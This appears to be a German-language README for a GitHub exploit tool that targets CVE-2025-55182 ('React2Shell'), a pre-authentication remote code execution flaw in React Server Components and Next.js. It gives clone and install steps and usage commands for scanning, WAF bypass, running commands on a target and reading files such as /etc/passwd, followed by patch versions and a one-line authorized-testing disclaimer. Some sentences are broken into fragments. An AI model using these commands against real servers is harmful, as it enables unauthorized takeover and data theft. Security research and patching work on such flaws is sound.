
Pre-Authentifizierungs-RCE-Exploit für CVE-2025-55182 (React2Shell), der auf React Server Components abzielt. Bietet Scanning, OAST-Verifikation, WAF-Umgehung, Befehlsausführung und Dateilesen.
Pre-Authentifizierung Remote Code Execution in React Server Components (RSC), Next.js und verwandten Frameworks.
CVE-2025-55182 (auch bekannt als React2Shell) ist eine kritische Pre-Authentifizierung RCE-Schwachstelle, die das React Server Components (RSC) Ökosystem betrifft. Ein nicht authentifizierter Angreifer kann einen verwundbaren Server mit einer einzigen speziell präparierten HTTP-POST-Anfrage vollständig kompromittieren.
React Server Components verwendet ein benutzerdefiniertes Drahtformat namens React Flight zur Serialisierung von Funktionsreferenzen und Modulaufrufen. Die Schwachstelle existiert im Payload-Decoding-Mechanismus, der eingehende POST-Anfragen an RSC-Endpunkte verarbeitet.
Wenn der Server einen React Flight-Payload empfängt, deserialisiert er den Inhalt ohne ausreichende Validierung und vertraut dabei auf angreifergesteuerte $$typeof-Felder und Modulreferenzauflösung. Dies ermöglicht einem Angreifer:
child_process, fs, net)$F (Funktion) Typmarker verketten
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 Critical
id, whoami)./etc/passwd, package.json).git clone https://github.com/SentinelXofficial/CVE-2025-55182
cd CVE-2025-55182
pip install -r requirements.txt
Verwendung
Grundlegender Scan
python3 poc.py -t https://target.com
python3 poc.py -t https://target.com --timeout 15
python3 poc.py -t https://target.com --json
RCE mit OAST verifizieren
python3 poc.py -t https://target.com -m verify --oast your.oast.domain
Vollständiger Bypass-Test
python3 poc.py -t https://target.com -m bypass --verbose
Befehle ausführen
python3 poc.py -t https://target.com -m exec --cmd "id"
python3 poc.py -t https://target.com -m exec --cmd "whoami" --timeout 20
Dateien lesen
python3 poc.py -t https://target.com -m read --file "/etc/passwd"
python3 poc.py -t https://target.com -m read --file "/app/package.json"
Mit einem Proxy (z. B. Burp Suite)
python3 poc.py -t https://target.com --proxy http://127.0.0.1:8080
Dateistruktur
CVE-2025-55182/
├── README.md
├── poc.py
├── requirements.txt
└── exploit/
├── __init__.py
├── payloads.py
├── scanner.py
├── bypass.py
└── rce.py
Gegenmaßnahmen
Patch (Empfohlen)
npm install [email protected]
npm install [email protected] [email protected]
Temporäre Workarounds
· Deaktiviere Server Functions ("use server") · WAF-Regeln zum Blockieren von Content-Type: text/x-component · Netzwerksegmentierung für RSC-Endpunkte
Referenzen
· https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components · https://www.cve.org/CVERecord?id=CVE-2025-55182 · https://nvd.nist.gov/vuln/detail/CVE-2025-55182
Haftungsausschluss: Nur für autorisierte Sicherheitstests.
Autor: SentinelX · https://t.me/SentinelXsecurity
| Paket | Verwundbar | Gepatched |
|---|
react-server-dom-webpack | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
react-server-dom-parcel | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
react-server-dom-turbopack | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
next (13.x) | 13.3.0 – 13.5.x | ≥ 14.2.35 |
next (14.x) | 14.0.0 – 14.2.34 | ≥ 14.2.35 |
next (15.x) | 15.0.0+ (siehe Patch) | gepatchte Versionen |